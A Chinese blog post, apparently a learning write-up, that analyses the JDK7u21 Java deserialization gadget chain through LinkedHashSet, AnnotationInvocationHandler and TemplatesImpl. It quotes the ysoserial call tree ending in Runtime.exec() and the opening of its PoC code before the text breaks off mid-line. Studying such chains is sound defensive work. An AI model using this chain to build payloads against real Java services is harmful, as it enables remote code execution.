JDK7u21反序列链学习

本文详细分析了JDK7u21中的反序列化漏洞,涉及LinkedHashSet、AnnotationInvocationHandler和TemplatesImpl等关键类。通过POC分析,揭示了如何利用这些类实现远程代码执行,讲解了利用链的构造过程,包括hashCode和equals方法的巧妙运用,以及 AnnotationInvocationHandler的equalsImpl方法。最后,文章提到了 ysoserial 工具在构造POC中的作用,并表达了对作者深入研究的赞赏,计划继续学习调试fastjson。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Python微信订餐小程序课程视频

https://blog.youkuaiyun.com/m0_56069948/article/details/122285951

Python实战量化交易理财系统

https://blog.youkuaiyun.com/m0_56069948/article/details/122285941

JDK7u21

1、前置知识

jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或者方法。环境是jdk7u17。

LinkedHashSet

首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子类,也继承了序列化接口和集合接口,但是LinkedHashSet是没有重写readObject方法的,所以LinkedHashSet调用的是HashSet的父类的readObject方法

//构造函数,可以看到是直接调用父类的方法
public LinkedHashSet(int initialCapacity) {
        super(initialCapacity, .75f, true);
}

AnnotationInvocationHandler

hashCodeImpl

这个函数就是用来计算hashCode的,具体分析可以看POC调试,

private int hashCodeImpl() {
  int var1 = 0;

  Entry var3;
  for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
    var3 = (Entry)var2.next();
  }

  return var1;
}

memberValueHashCode

这个也是用来计算hashCode,可以看到里面都是调用hashCode方法,具体作用看POC调试

image-20220411124421422

equalsImpl

用来通过invoke来执行我们的恶意代码,具体看POC调试

image-20220411171908239

TemplatesImpl

getOutputProperties

其实getOutputProperties就是用来调用我们的newTransformer,然后就是跟cc链一样去实例化templates造成RCE

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

2、POC分析

2.1、利用链

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
 LinkedHashSet.add()
 ...
 TemplatesImpl.hashCode() (X)
 LinkedHashSet.add()
 ...
 Proxy(Templates).hashCode() (X)
 AnnotationInvocationHandler.invoke() (X)
 AnnotationInvocationHandler.hashCodeImpl() (X)
 String.hashCode() (0)
 AnnotationInvocationHandler.memberValueHashCode() (X)
 TemplatesImpl.hashCode() (X)
 Proxy(Templates).equals()
 AnnotationInvocationHandler.invoke()
 AnnotationInvocationHandler.equalsImpl()
 Method.invoke()
 ...
 TemplatesImpl.getOutputProperties()
 TemplatesImpl.newTransformer()
 TemplatesImpl.getTransletInstance()
 TemplatesImpl.defineTransletClasses()
 ClassLoader.defineClass()
 Class.newInstance()
 ...
 MaliciousClass.()
 ...
 Runtime.exec()
 */

2.2、POC分析

这里使用ysoserial来分析,看看大佬是怎么构造poc的,主函数在getObject方法里

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadg
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值